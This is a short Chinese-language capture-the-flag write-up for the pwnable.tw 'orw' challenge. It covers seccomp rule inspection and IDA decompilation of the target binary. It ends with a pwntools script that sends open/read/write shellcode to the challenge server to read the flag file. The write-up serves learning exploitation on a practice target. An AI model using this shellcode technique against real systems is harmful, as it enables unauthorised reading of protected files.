RECON CheckSec:
seccomp-tools: 用來檢查程式有開哪些seccomp規則(所謂的seccomp就是規範有哪些syscall可以被呼叫) 在這題的範例裡面他只有開啟ret, exit和open/read/write
IDA:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __fastcall main (int argc, const char **argv, const char **envp) { char v4[16 ]; init(argc, argv, envp); seccomp(); puts ("Give me your shellcode>" ); read(0 , &sc, 0x100 uLL); puts ("I give you bof, you know what to do :)" ); gets(v4); return 0 ; } __int64 seccomp () { __int64 v1; v1 = seccomp_init(0LL ); seccomp_rule_add(v1, 2147418112LL , 2LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 0LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 1LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 60LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 231LL , 0LL ); return seccomp_load(v1); }
這邊就更確定哪些seccomp有開ㄌ,也可以知道題目就是開心送shellcode出去跑(沒開NX)
Exploit 由於已經知道flag會在/home/orw/flag,所以可以利用open的syscall將flag檔案內容讀取,再用read閱讀值,最後利用write將資料丟到標準輸出
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *r = remote('chall.pwnable.tw' ,10001 ) payload = shellcraft.i386.linux.open ('/home/orw/flag' , 0 ) payload += shellcraft.i386.linux.read('eax' , 'esp' , 100 ) payload += shellcraft.i386.linux.write('1' , 'esp' , 100 ) r.sendline(asm(payload)) r.interactive()
利用shellcraft生shellcode,read搭配’eax’其實就是3的意思,代表從stack讀出來到esp上面(100 bytes) write(1, esp, 100)代表 std::out(1), 讀出esp,100 bytes